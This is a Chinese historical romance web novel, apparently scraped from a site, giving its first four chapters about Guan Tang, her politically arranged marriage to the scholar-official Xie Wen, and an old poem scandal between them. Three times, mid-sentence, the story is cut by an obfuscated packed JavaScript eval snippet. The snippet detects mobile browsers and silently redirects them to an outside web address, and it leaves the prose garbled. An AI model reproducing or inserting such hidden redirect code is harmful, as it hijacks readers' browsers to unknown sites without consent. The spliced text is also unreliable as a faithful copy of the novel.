《别离枝》 1. 第 1 章 连下数日雨，天地织网，绵延不尽。 在山林间冒雨赶路的人不知，这是东南海面上的飓风带来的雨水，但也觉天地异动，所过之水泥沙翻涌，所过之路虫蛇横窜，纷纷加快脚步，加鞭催马。 “姑娘，”马车内的丫鬟语气有些惴惴：“这都到广右域内了，在静江府的姑爷会否派人来接咱们？” 靠在车壁上阖目小憩的女子眉眼未动，倒是她身旁坐着的嬷嬷开口轻斥：“青红，既知入广右了，不可再唤姑娘。” 被唤作青红的丫鬟低低应了声“是”，不再出声，只用一双杏眼忧愁地看着自家姑娘。 靠坐着的女子容色端丽，眉若烟笼月云，颊似红纱裹玉。她身上穿一件浅青罗褙子，头顶戴着的纱面团冠透露出她已为人妇，鎏金梳篦紧贴着她的云鬓两侧，使得她的头发在如此簸荡的马车里也未散乱一分。 这位女郎正是前段时间走马上任的广南西路经略安抚使，谢闻的新婚妻子，观棠。 相较于她状元及第、寒门出身的夫君，观家在大兆实在显赫。 观棠的曾祖为兆国开国辅将之一，随太祖南渡，后掌西线兵权，离世后又被追赠郡王，部曲尽收禁旅。至观棠父亲这一辈，仍有叔伯领军中要职，她的伯父如今官任秦风路都部署，权控西北四路。 新帝继位后，为防边将坐大，重演前朝兵祸，在各路分设了代行皇权的经略安抚使，用以节制各地军、政、法、财四权，新科状元谢闻便领了广南西路经略安抚使，兼提举常平司一职。 仁熙二年，新帝颁布常平新政，设提举常平司在各地进行稻改，此举遭到世代屯田的旧党反对。当新旧两党在朝堂上吵得不可开交之时，官家一纸诏书将观氏女赐婚给了新党的能臣干吏谢闻，以息两党之争。 这一番御赐的新旧联姻，到底使得两党暂时偃旗息鼓。 于旧党而言，谢闻被派往的不是膏腴千里的东南六路，反而是土瘠人稀、瘴林丛生的广南西路，且时有夷族作乱，新政要在这样的地界推行，京中的世家大族也只待看笑话。 于新党而言，观氏女有肃雍之德，可入储闱，同宗伯父手握兵权，控关东、扼河湟，使得无人敢窥陇右，有观氏女在，左右可保谢闻平安归京。 只不过，这场诸方皆誉的政治婚姻，却无人在意两位当事人的意见。 二人当中的一人此时在马车里睁开了眼，轻咳了两声说：“还有多久到梧州？” 自入岭南，逢雨寒气袭人，放晴后又热气蒸人，一日常有四时之气，时而冷时而热，实在叫人措手不及，观棠因此着了病。 她自幼长在汴京，虽曾乘舟南下至扬州，但那时她随出就外傅的兄长一路游玩，倒不觉难捱。今次过扬州，先走水路到杭州，又转陆路翻山越岭，入广南东路时便已耗在路上三月有余。 这一路舟车劳顿，观棠近日突然开始咳嗽，夜间难以入眠，此时的她眼下一片青黑，说话也稍显无力。 “娘子，还要走至少三个时辰。”向车夫打听完了的青红回道。 观棠掀开身侧的车帘，感受着凉凉雨意，人稍稍轻快了些，只是一息之间便有两匹高头大马踏步上前。 当先一人三十上下，方面扩额，须眉如戟，乃殿前司下属侍卫亲军的一位虞侯，名叫姜丕。 御赐的两姓联姻，为显圣恩，官家派了一支六人的侍卫亲军护送观棠南下，只不过众人皆知，官家这是怕有人为阻挠新令，在路上对观氏女下手。 这支队伍由行事刻板谨慎的姜丕统领，此刻的他勒马傍车而驰，目视前方道：“谢夫人可有什么指示？” 观棠说：“姜虞候，按车夫估摸的时间，到梧州时天色已暝，恐城门关，需派个人去通禀知州大人，看能否通融一二。天气如此差，大队人马实在不宜宿在城外。” 三江襟喉的梧州是大兆在广南东西两路最大的水路枢纽，商舶云集，城防森严，夏日最迟戌时三刻闭城。 姜丕闻言道：“是，我这就安排。” 观棠颔首，随后放下帘子，重新阖目。 就在车厢内的人以为她已经入睡时，她突然开口道：“我与谢郎君并非因情谊结为夫妻，日后入了谢府，莫要指望他人，凡事还是顾好自己罢。” 年轻的女郎仍旧闭着眼，眉头微蹙，带着病的沙哑嗓音里透出一股子厌厌不振。 身旁的钟嬷嬷看着她，抿了抿唇。 观棠其实并非有意提点母亲派到身边来看管她的这位嬷嬷，而是方才她迷迷蒙蒙间听见已入广右，忆起数月前的大婚之夜那位谢安抚使同她说的话，便有些心绪不宁。 男子冰冷的声音言犹在耳：“你我虽是官家赐婚，但实若参商。从今往后，我不会干涉你所作，你也莫问我所为。后日我便要快马南下赴任，你这一路可尽情赏花观月，缓行而至。” 隔着繁花锦绣的销金纱盖，还未看清自己的夫君，他就与她结下了秦晋之盟。 想到这里，观棠似乎再次入梦。 梦中有前朝诗人低吟：人生不相见，动如参与商。 他用相隔万里、此出彼没的参星和商星形容他和她，是想要与她划清界限，从此相敬如宾？只因她乃旧党世族，而他是新党寒士？ 过了一会儿，又有一句诗词从远方飘来耳畔：至高至明日月，至亲至疏夫妻。 作为一名女子，她自然数次设想过自己未来的夫君是什么样的人，她与他又当如何相处。得知自己被许婚给谢闻时，观棠首先是茫然，她并不识得此人，说明他应非汴京贵胄子弟，但很快，她想起官家钦点的进士科状元，那位年纪轻轻便连中三元的谢少行，谢闻。 她既想不到自己会嫁给寒门出身的谢闻，亦无法料到自己婚后会得夫君如此冷待，但自待嫁起，她心中不无期盼。 与能够靠伯父照拂、恩荫入仕的兄长不同，观棠是女子，只能终日被母亲和后宅琐事围困。 在她及笄之前，母亲王氏便在京中大肆为承袭了她美貌的女儿造势。官家赐婚后，王氏日日泣涕涟涟，哀叹自己的女儿竟嫁给了那样一个出身的人，又说观棠与武定侯府的嫡次子自幼相识，青梅竹马长大，若非半年前她执意跑去延州，这婚事早就定下了。 观棠忍了几日，终究还是冲她母亲发了火。 “母亲，自我及笄，您并不急着为我议亲。去年宫里传出消息，官家有意立储，您以为旁的人不知道您的心思？我也曾劝诫过父亲，伯父手握重兵，若再图谋储闱，官家心生疑窦，与伯父生了嫌隙，西北何安？可惜父亲为了母亲，向来是听不进女儿的话。如此我只好求助于大伯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891280|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离京，多少在延州过了几个月的安生日子。” 她说到这里，见母亲还是冥顽不灵，似要同她辩驳几句，于是继续道：“赐婚的圣旨到的那日，远在京兆府的伯父得了消息连夜赶回延州，又与宣旨的李内侍长谈至夜深。第二日伯父请我去跟前，同我细说如今的朝堂局势，末了跟我说，母亲您想送我入宫的心思到底还是惊动了官家。如此，女儿的婚事即便您再不满，从今往后也莫要说了！” 王氏看着比自己高半个头的女儿，终究是如鲠在喉。母女生了嫌隙，直到观棠与谢闻成婚回门那日，见了女婿的她才面色稍霁。大婚第三日，谢闻启程往任地去，因婚事仓促，观棠迟他半个月收拾好行装南下。 * * * 马车辚辚，雨水淅淅，到了梧州城果见城门紧闭，幸好观棠提前吩咐了下去，对过文牒，守城吏打开了一扇只能通人的侧门，钟嬷嬷等人从马车上取下今夜所用之物，又仔细叮咛了守车的仆役看好夫人的行装，一行人这才进城。 穿门而过，一脚踏入的是梧州罗城，也就是平民百姓所居的外城。几辆马车早早候在城墙下，打着油纸伞着官服的众人站在高高的车轴旁，显是为她而来。 如此阵仗，这一路南下倒从未见过。 直到此刻，观棠才清晰地意识到，她确实已经不再是青红口中的“姑娘”，不是观家的三娘子，而是经略安抚使身后的官家夫人。 她深吸一口气，忍着倦意与来人一一见礼。 为首的徐知州约莫四十上下，头戴直角幞头，着绛色官服。他身子瘦削，行礼的时候微微岣嵝着背，叫人看不清神色。 借着暗沉的夜色和如梭的细雨，徐知州用一双窄眼仔细打量起观棠。 面前女子身形窈窕，为其撑伞的仆妇落后半步，显得雨幕好似为她掀开了帘子。 她行走时步态轻盈，徐知州鼻嗤一声，目光下移，果见她身下襦裙随着步伐逐渐沾染泥泞，但女子似无知无觉，又似浑不在意，屈膝颔首朝众人行礼。 动作行云流水，格外舒展，仿佛一朵昙花绽放时压低了茎叶。 这便是京中贵女。 在场众人心中几乎同时闪念。 行完礼，观棠的头还微垂着，眼眸却已经抬起扫视过去，这一刻，徐知州只觉她的目光如冷雨拂面，傲气慑人。 “劳知州徐大人与诸位雨夜相候，实在愧不敢当。”女子开口，声音微哑。 徐知州听了暗叹，自己不过是个梧州知州，她却能通过所着官服准确道出他的官职和姓氏，莫非整个广南西路的官员脚色皆为此女所记？ 总之，这位谢夫人同她夫君一样不可小觑，更不用提她背后的观家……按捺住心中所想，徐知州开口道：“安抚使夫人这一路辛苦了。” 此时观棠的注意力并不在徐知州身上，雨声细密，远处似乎有人的呐喊声，以及一些叮叮当当的金属碰撞声，她辩听了一会儿，问：“知州大人，这么晚了，罗城似乎还很热闹？” 徐知州单手负于身后，说：“天公不作美，若夫人早几个时辰进城，下官可携夫人在城内四处看看。但如今天色已晚，还请夫人尽快去客栈休息。” 观棠只觉他讲话弯弯绕绕，心中生疑，掩面低咳了两声说：“客栈？不是衙城官驿吗？” 2. 第 2 章 梧州衙城是官衙及官员宅邸所在，与百姓所居罗城由内城城墙隔绝，唯镇南门可通。 只听徐大人沉声道：“连日下雨，那官驿年久失修，今早塌了一道墙，实在抱歉。不过夫人大可请放心，客栈里一切已收拾妥当。” 话已经说到这个份儿上了，观棠也不好说什么，由青红搀着上了马车，才坐稳，她便掀开帘子对姜丕说：“姜虞候，我有件要紧的东西忘在车上了，劳驾您去城外帮我取一下。” 姜丕闻言，见她身边随侍丫鬟嬷嬷以及她伯父为她选的那四位好手皆在，有些疑惑，但面上不显，阔步走到马车边。 观棠举起团扇半耷在自己的鼻尖，低声说了几句，姜丕听罢拱了拱手，朗声说：“我这就去给夫人取，夫人放心。” 他说完大步走向侧门，见守城吏迟疑着不开门，姜丕的手抚上刀柄，回首看向徐知州。他是官家的禁卫亲军，不怒自威，这样一个小小的动作自是令人胆寒。 徐知州几不可闻地朝守城吏点了点头，后者这才打开了门。 观棠在马车里将这一切看在眼里，见徐知州的目光移向自己，带着些许探究之味，她垂眸故作疲态，说：“多谢徐大人。” 徐知州说：“夫人早些休息。”随后挥了挥手让车夫赶马，站在原地目送着观棠一行人离去。 到了罗城客栈，钟嬷嬷见屋内陈设清雅，似是特意布置过，带着些许赞赏道：“夫人，这徐知州看着倒是个十分周全的人。” 观棠淡淡一笑，未置一词。 钟嬷嬷是观棠母亲观二夫人当年的陪嫁之一，此去广南路遥，特意被派到她身边照顾她生活起居。 观二夫人姓王，本家乃前朝五姓七望之一的并州王氏。前朝兵祸后，并州王氏大多南迁，再不复从前鼎族，观二夫人娘家是仍留在并州的一系旁支。 为了重振家族，观棠的外祖汲汲营营了一辈子，致仕时却仍只是个知县。他膝下三子二女，长女嫁给了并州通判之子，次女以美貌著名，嫁给了当时在河东路任都总管副使的观棠父亲。 观棠的母亲在一定程度上承袭了其父的心性，她唯利是图，借观家之势纵族中子弟放谷贷和印子钱。 时年，不少官员都私设质库取息，但王氏一族却被新党借机拿来弹劾观棠的伯父，谓他这般不束宗亲之人，又如何治军？最后，新帝的父亲光宗只得将他贬至延州，直到观棠的伯父拼死收复河湟后才重新重用。 因观棠的伯父掌兵，观棠的父亲被调至汴京，担任了河堤使这样一介小小京官，就此远离了枢庭。 见丈夫仕途无望，观棠的母亲只好将她的一切希望都放到了自己的一双儿女身上。然而，知二弟妻族荒唐事多，观棠的伯父做主将侄儿观晏送到了扬州的书院，直到知事才送回汴京，没过多久又安排了河东路巡检使的差事。 王氏虽无法亲自教养儿子，到底无话可说。 观棠南行前，王氏将自己的贴身仆从钟嬷嬷派到了她身旁，留了照看观棠数年的沈嬷嬷在府中，观棠心里知道，母亲这是要钟嬷嬷盯着她，即便是到了广南这样遥远的地方，她的周围还是时时刻刻笼罩着母亲的阴云。 这位钟嬷嬷是个贯爱揣摩萱堂之人，观棠虽闭口不言，却并不能打消她的疑虑。 方才她钻进马车时，听见那虞候说要给夫人取物，她问夫人落了什么东西，夫人却说是不值一提的小玩意儿。 钟嬷嬷的目光移向正在整理被褥的小丫头青红，她自幼服侍夫人，一心向主，问她是问不出个所以然的，但又不能直接去问那官家侍卫。 左思右想间，钟嬷嬷将屋子里外收拾妥当，准备寻机明日再问，随后带着仆妇们离开去了隔壁间休息。 钟嬷嬷等人走后，观棠轻舒口气，青红见她面色苍白，卸下在人前的贵女妆容，病态和疲态尽显，低声说：“姑娘，要不先睡下吧？” 此间只有她和观棠，不由得又用了旧称。 观棠闻言轻轻摇头，朝青红宽慰般地笑了笑，后者顿时觉得心中稍安了些，想着无论发生什么，以她家姑娘的聪慧，定能平安到谢姑爷身边。 至后半夜，窗外雨声似珠玉落盘，清脆有声，也更加催人入眠。 观棠洗漱完换了身干净衣裳，合衣坐在榻上等信。 方才在城墙下，她总觉得那雨声似乎掩盖着什么，便以落东西为由请姜虞候去探究一二。 除了那些声响，还有徐知州所安排的这间位于梧州罗城的客栈也令她心生不安。 作为安抚使夫人，她每到州城皆宿官驿，一来她乃官眷，按规需宿官驿。二来，她也可借驿馆递信往静江府的谢宅，告知行踪，安排事宜。 雨势愈大，渐渐地，除了雨声什么声响都听不见了。 观棠不由地开始疑心，是否是自己多想？ 王氏自她幼时起便说她是个心思颇重的孩子，看人的目光也总像在审视着什么，显得疏离而不近人情。 观棠尝向母亲解释，这只是她的行事习惯，最后却总得母亲一句：“反正以后你不同我过日子，自是和你未来夫婿在一块儿，且看人家能不能忍受你罢！” 言辞狠厉，似赌气又似恶咒，令观棠语塞，同时也令她分外悲戚。 夫子曾说，慈亲育子，施不望报，母亲却截然相反。观棠幼时便总觉母亲看待世间万物都在衡量其价值，仿佛时刻不停地拨弄着算珠，啪嗒、啪嗒，搅得人心绪难平。 啪嗒、啪嗒。 好似一个噩梦被唤醒，观棠一个激灵从榻上坐起。 原来是房门被重重叩响。 在外间候了一夜的青红赶忙起身开门，果见姜丕站在门外。 还不待他说什么，观棠穿好外衣快步从里屋走了出来，将他请进屋。 见来人浑身都被雨淋透了，面上还滴滴答答淌着水，观棠本想命青红拿来一些干净巾帕，却发觉向来稳重的姜丕眼中有掩饰不住的慌乱与急切，于是静立着等他开口。 姜丕仓促行了个礼，说：“谢夫人，出事了，连日下雨，河水疯涨，郁江沿岸的堤坝已经被冲垮了！” 观棠听了心中骇然。 梧州城外除郁江还有桂江和浔江，此三江成包剿之势，环绕梧州东南西三路，若遇溃坝，三江泄流，大半个罗城都将被淹没！ * * * 沿梧州西路的桂江水系一路北上，七八日便能到广南西路的首府静江府。 此地面环一水，背靠一山，得地利，城内屯兵万人。除水陆两军外，静江府还有戍守当地的厢军，以及由本地夷族俚僚组成的乡兵。 谢闻来此月余才将当地戍务厘清，随后又马不停蹄地前往昆仑关巡检边防，点兵校阅，待他返回静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891281|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江府，已经是七月末了。 有些漫不经心地，这天早上用过膳往书房去的路上，谢闻问宅中管事狄良：“观氏走到哪里了？” “前些日子驿馆来了信，算下来应是过了康州了。”狄良打量着谢闻的神色，踌躇道：“郎君，要不我让德庆带人去梧州候着夫人？” 谢闻在心中算了一下日子，眉头微蹙，说：“不用，左右就这几日了，一去一回的还麻烦，你派人盯着码头和城门就是了。” 狄良久未出声，谢闻偏头看了一眼老者，问：“狄叔，你想劝我？” “郎君，观家小姐不远万里来到此地，人生地不熟得，您是她唯一的倚仗。” 年轻男子的脚步在廊庑下顿住了，说：“是吗？我临走前与孙参知秉烛夜谈，他话里话外倒是要我多多倚仗他们观家。” “夫人是女子，您是她的夫君，我所说的倚仗自是指这家宅内，您却同我讲官场上的事，老身不懂那些。” 狄良说完，见面前的郎君许久未开口，抬眸看了过去。 男子负手立于廊下，穿一件竹青色圆领襕衫，侧影峻拔。他眉骨如峰，眉下一双眸子如一块无暇墨玉，其中似有暗潮涌动，又似只是倒映着天边密布的乌云。 过了一会儿，谢闻提步向前走，自嘲一笑道：“我同她……可真是孽缘。” “御赐的婚姻，怎会是孽缘。”狄良低呼：“郎君可千万别这么说。” 谢闻不再说什么，抬脚便进了书房。 他数日未归，案牍堆叠如山，直到太阳西落，屋子里的天光一寸一寸消下去，桌案上的公文被染得幽蓝。 他在书房时不喜有人随侍，磨墨添茶等一应事务皆亲自料理，见只剩最后几份公文，谢闻懒得唤人进来掌灯，决定速速看过再行决断。 公文上说，南海近日飓母如断虹，已罢市舶，禁舟航数日。沿海各州恐遭水患，需速检堤堰，固闸澳。 这是广南西路州府的会要抄报，以防灾患时要仰广南西路诸州军赈济，特地承报到了谢闻这位经略安抚使这里。 谢闻读完抄报，迅速找出急递用的椒纸，提笔命静江府近日回文限两日到军，随后唤德庆送去州衙。 德庆是他的长随，幼时曾投军，有些功夫在身，办事牢靠，接了信行了个礼便动身去了。 看着德庆离去的背影，谢闻突然想起狄叔白日里同他说的那番话。 观氏女快要入广南西路了，左右不过这两日。 狄叔自他十六岁回房州读书起便相伴他左右，数月来，他以公务缠身来掩藏自己对新妇的寡情，终究是瞒不住待他如亲子的狄叔。 他七岁丧父，其父死于房州任上，作为流放州的房州当时并无解试名额，母亲遂带着他投奔远在淮南东路的舅父。舅父经商，有些家资，决定助他读书，为他上下打通关系，把他送到了扬州的广陵书院。当时，他本想以寄应生的身份在解额较多的扬州参加解试，但各中曲折，使得他九年后重返房州，十八岁才得以应试参考。 人生只走过春秋二十三载，竟有种已然耗费半生精力之感。 谢闻独自一人站在书房前，见游廊至深处有竹影摇曳，仿若幢幢人影。 起风了，似要来雨。 谢闻想。 他与观氏女的这段孽缘，或许便是他在扬州读书时种下。 3. 第 3 章 广陵书院春秋释奠，七年前的暮春，早已过了入学时间，一位自延州而来的学子到了书院，其名邹晏，年十四，朗目疏眉，器宇轩昂。 自邹晏来后，谢闻的同窗不时调笑他，说书院里有了这号人物，那谭家恐怕就要放弃谢闻，另行择婿了。 谭氏乃扬州大族，世代居于此。时年流行“榜下捉婿”，像谢闻这样无甚背景的学子，一旦中举，便似羊入虎口，他的同窗曾建议他尽早寻一位靠山，他才学过人，即便过了解试，也还要上京参加省试，这一路所耗资材自不在话下。 同窗所言，谢闻大多付之一笑，鲜少理会。他曾与舅父、母亲约定过，待解试过了再行议亲之事，谭家屡次试探，若都碰壁而归，自会另寻他人。 那日，家中派人送来衣物，谢闻去书院门前取物，正巧撞见同窗口中那位邹晏从一辆青幔马车上下来。他手上捧着沉甸甸的包裹，想着尽快回到校舍，却听周围传来一阵低吁，谢闻回头望去，见邹晏正伸手扶着一位着缥色襦裙的小娘子从马车上下来。 “这是……邹晏的妹妹吧？” 身边的学子交头接耳了起来。 “眉目如珠辉玉映，长大以后必然容色超凡。” “不知日后何人能娶她作娘子。” “你省省吧，看看人家那通身的打扮，也不知这延州邹家到底是什么样的家底。” “能送来咱们书院附学旁听，每日还乘马车上下学，保不齐是什么近臣的外室子女……” 谢闻微微皱眉，面前的小娘子不过十一二岁，稚气未褪，却被如此议论，他听得心烦，低声说：“诸位，还是莫要在此品评他人了。” 周围人一见是谢闻，议论声顿时少了些。 他在广陵书院颇有声名，皆因初入学府时，有夫子拿着他的策论说他有连中三元之才。自那以后，书院学子们私下以“谢三元”之名称呼他，戏谑居多。面对这些事事非非，谢闻并不驳斥，始终像书上所形容的，岩岩若孤松独立。没过多久，突然有谭家想要招他为婿之言，围绕他的非议虽未歇，到底不会再传到他面前了。 似是听见谢闻所言，那位小娘子向他投来审慎的目光，原来她早将他们的话都收入耳中，只不过置若未闻。 她年纪虽小，一双眼眸却似沉水碧玉，波澜不惊，如此气派，倒像是冷傲自持的京中贵女，而非长在延州那样的演武之地。 谢闻思索着，目光在她的面上停留得久了一些，发现方才那些生徒所言非虚，她与她兄长生得肖似，二人龙章凤姿，皆容貌出众。 收回目光，谢闻转身离去，依稀听得身后的那对兄妹在说着什么，不知为何，他竟放缓了脚步，只听哥哥说：“好了，看到书院了，可满意？” 妹妹声音轻灵：“这是我博戏得来的彩头，自然要好好看看。” “你再不回去，我上课便要迟了。” 妹妹似乎并未接话，哥哥劝道：“这样，我将今天所习课业皆带回去给你誊录如何？” “一言为定。” “我真是怕了你了……” 兄妹二人语态亲昵，但妹妹倒像长姐，哥哥好似幼弟，再加上女子誊抄兄长的课业，实在罕见。 一路胡思乱想着，谢闻回到了屋内。他解开裹布，首先打开母亲每次随衣物附上的书信，读着读着，眉头便皱了起来。 一目十行读完，谢闻粗乱将信纸叠好塞进衣服里，走到案几前倒了杯水仰头饮尽。 冷茶入肚，却浇不灭他心中怒火。 母亲在信上说，谭家上门了，这次舅父实在无法回绝。他依靠舅父花大价钱才取得寄应之名，但不知怎地，旧地房州的原籍档案丢失了，他迁来扬州的时间不明，按照大兆的贡举条例，籍贯不在本州需居满七年才有资格寄应参考，没有历纸佐证，今年他便无法参加解试。 书信末了写道，谭家的意思，是要以解额逼婚。 他坐在案几旁，面前数缕阳光投入屋内，照得光尘舞动。 佛书有言，阳焰浮动，肖似野马。看着那些飘散在空中的尘埃，谢闻自嘲地笑了一声。 这一年他十六岁，也曾听闻学子受豪贾千金而弃学贩盐的故事。他只恨自己从前的天真和自以为是，谭氏这样盘踞于此地数代的大族，怎会将自己这样一个命如浮尘的寒门学子放在眼中？今年参加解试的学子中也有谭家子弟，若不能为谭家所用，他就是一枚弃子，连放在棋盘上的资格都没有。 当日堂上作诗，他提笔写下：姚黄艳先谢，楸枰劫子多。 范夫子经过他的时候，命他下学后去斋舍找他，讲诗时也只字未提他的诗作。下学后，周围同窗纷纷来观，却见纸上只有短短一句，于是面面相觑。 “谢兄今日身体不适吧？”一位同窗呵呵一笑，打了个圆场。 谢闻抬起头，见桌前的邹晏似是因倒着看字，反复辨认才读完这句，随后，那双他上午注视过的相似的眸子投来了些许好奇之色。 仿佛被冰冷的溪水浸透，谢闻一下子从杌凳上站了起来，一言不发地离开了。 到了斋舍，谢闻以为夫子要斥责他一番，此时距离解试不足三月，诗文显露他心绪不平，未料范夫子只是将他的诗收走，随后将一张请帖放到了桌上。 “三日后旬假，平山堂请了大儒讲学，拿着这请帖赴宴去吧。”范夫子说。 后来，在平山堂，他得了如今的参知政事孙向愚的垂青，拜其为师，再不受谭家所胁。只不过当时新党势薄，孙向愚令他即刻返回房州，谢闻不解，问：“房州并没有解额，孙师这是何意？” 孙向愚并不言明，但谢闻知道自己已然走投无路，与母亲、舅父商议以后，回到了房州，潜心读书，静待机缘。 五年后，新帝继位，令各州学生徒满两百人处增解额三人，房州这样的流放州降为八十人的标准，如此，谢闻虽迟了数年才得以参加解试，但确也像广陵书院的夫子所言，在两年内一路高中解元、省元，殿试时再被钦点为状元，成了名副其实的“谢三元”。 只不过，当年那位言说他有三元之才，在他将入死局时为他谋求生路的范夫子，却因他悲愤时写下的那句“姚黄艳先谢，楸枰劫子多”被劾奏谤讥朝廷。 当时在位的是新帝的父亲光宗，新党宰相利用新政处处掣肘世家，遭旧党反扑，最终以光宗妥协，贬谪推行新政的官员为结局。 光宗崩逝同年，旧党扶持光宗六子继位，为显宗， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891282|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即新帝的兄长。显宗身子羸弱，朝廷终日被旧党把持，为了扑灭新党最后的火苗，旧党趁机抓住了这句诗文来打击蛰伏的新党势力。 姚黄艳先谢，楸枰劫子多，姚黄乃牡丹头名，最为华贵，“先谢”二字即是含沙射影官家沉疴。至于楸枰劫子，则是指棋盘上的劫争，意指朝廷不顾党争，鱼肉百姓。 便是七拐八绕，也要用一句诗文定罪，如此成了世宗在位时的“广陵书院案”，牵连新党塾师学子诸多，唯有早早离开扬州又被谭氏毁了历纸的谢闻躲过一劫。 当“广陵书院案”传至闭塞的房州时，被定罪为诗稿作者的范夫子，已经瘐死在流放岭南的路上了。 数年后，谢闻跪在地上询问孙向愚，为何范夫子被定为诗稿作者，堂上作诗的他却被隐去了。 “为师不妨将话说得再明白一些。”谢闻只觉老师的声音如山间晚钟，带着一丝苍凉：“恩荫制度让那些世家大族源源不断参与荫补，此乃冗官；自太祖年至今，禁军翻了四倍有余，此乃冗兵；数次败仗，使得朝廷向坚辽、晖夏两国年供岁币五十万两，此乃冗费。若再不寻求变法，大兆……国祚难恒。光宗在位时，不是不想改革，但结局是什么？新政废止，无数官员被罢朝。先帝继位后，旧党急需一个惩治新党的口子，而范俞，为我们争取了很多时间。” “所以……范夫子只是个弃子？”谢闻颤着声问。 孙向愚并未否认，只说：“他说他能当你半师，此生无憾。” 谢闻将头趴得更低了些。 孙向愚走上前，左手搭上他的肩膀，轻叹了口气，说：“知远，这就是你要走的路。这条路很长，很孤独，随时都会有人离开，无论是为师，还是范夫子，亦或是你，在大局面前，都是随时可以牺牲的棋子。” 谢闻抬袖擦去面上的泪痕，抬起头，一双眼睛赤红，说：“师父，那诗又是如何流传入京的？” 孙向愚沉默半晌，为他解惑：原是有位稚子，为她在广陵书院附学的兄长誊录书卷。后来稚子返京，家中的法书师在检查她课业时偶然发现了这首诗，当做投名状呈递给了当时旧党把控、专举谏之事的提举学事司。 听孙向愚说完，谢闻脑海中如惊雷般炸响。 惶恐、愤怒、懊悔，以及一丝令他羞愧的不可置信，齐齐涌上心头。 他心中已然有了答案，知道是何人所为，但他不知她姓甚名谁，哪家所出。 方才师父描述稚子返京，而非回到延州，如此，她那兄长“邹晏”恐怕是个持化名下扬州的王孙子弟。 尽管他心里清楚，无论是那位高门大户的法书师，还是提举学事司的学官，亦或是在朝堂之上兴风作浪的旧党，都要比她和她兄长可恨，但不知为何，谢闻此刻迫切需要知道亲笔抄传他诗稿之人是谁。 于是，他咬牙道：“稚子何人？” 他说完，在记忆中努力搜寻起她的模样。 此去经年，少女的面庞已然模糊，只有一双仿若一汪沉渊碧水的眸子，泛着点点寒星，有着拒人于千里之外的冷傲。 上齿狠咬着唇带来的疼痛让他保持着理智，终于，谢闻等来了师父孙向愚的回答。 “你可知……观氏？” 4. 第 4 章 三月，金明池开，琼林设宴，这是属于大兆及第者们最明媚的春，其中饱受瞩目的自然是那位寒门出身却连中三元的谢状元。 自汴京的街巷走过时，花果香囊、金锞罗帕，数不胜数的彩头投掷在他身上，就连几只蛱蝶都被其身上的香蜜所吸引，翩然左右，与头戴簪花官帽、着青绿锦缎斓袍的清俊男子交相辉映，瑰丽夺目。 如此情景，直至三年后的春闱，依然为汴京城百姓所津津乐道。 然而，相较于欢呼雀跃的人群，高马之上的状元郎却显得十分沉寂，好似一把新硎的宝剑，正用剑鞘掩映着自己的锋芒。 自那日孙师同他言明兄妹二人身份以后，他着人打听观家之事，知晓了那位哥哥如今在哪里当差，果然如他所料，观晏靠着恩荫得了个武职。唯独让他意外的是，年逾十七的观氏女却仍待字闺中。 她在家中行三，旁人称她观三娘。 这位三娘子以容貌冠绝京城，也说她恪守姆训，庄重禀德，为世家女之典范。 谢闻初听德庆同他转达的这些话时，并未置评，只问：“为何她还未许下人家？” “有两说。一说那观家与武定侯府乃世交，观三娘同武定侯的嫡次子魏旭青梅竹马长大，二人自幼便定了娃娃亲。只不过魏旭如今在信安军水虎营里，似乎暂无成婚的打算。” 德庆说完，默了片刻，谢闻敏锐地觉察到了他的迟疑，开口道：“你继续。” “还有一种说法，说……这观氏女是太子妃的人选。” “太子妃？”谢闻听罢，先是紧拧眉头，随后面上露出一抹讥笑。 且不说而立之年的官家是否有立储的想法，他膝下最年长的二皇子如今也才十二岁，那观家竟如此图谋？ 真不愧是能用一句诗来构陷旁人，取贪残之道的世族。 只不过，想到观家那位稳坐了三朝的秦风路都部署，谢闻还是敛了神色，吩咐道：“我在京中待阙的这段时间，观家有什么变动随时来报。” * * * 新帝上位以来首开恩科，自是声势浩大。琼林宴后，及第的进士们得宴请无数，唯恐酒慢。 汴京繁华，人间天上，人醉不知处。 与谢闻同年及第的榜眼陈霖家世煊赫，三代皆官至中枢，其父曾为太常少卿，出使大定、丽水等国，后任谏议大夫。 台谏两院初设时虽独立于内朝，显宗继位后，御史台为旧党把控，谏院的规谏权力渐渐消弭。参知政事孙向愚职同副宰，受两位旧党人士所任的同平章事桎梏，新帝继位四年来，孙向愚一直试图让谏院重归正位，再行谏争朝政之职。 由此，谢闻虽敬谢了诸多宴请，唯陈家的这场曲水宴他应约而至。 陈霖稍长他几岁，已娶妻生子，席上，他将自己两岁的小儿抱来与诸座嬉闹，也许是孩童在场，一场酒宴仿若家宴，众人皆有些倾盖如故之感。 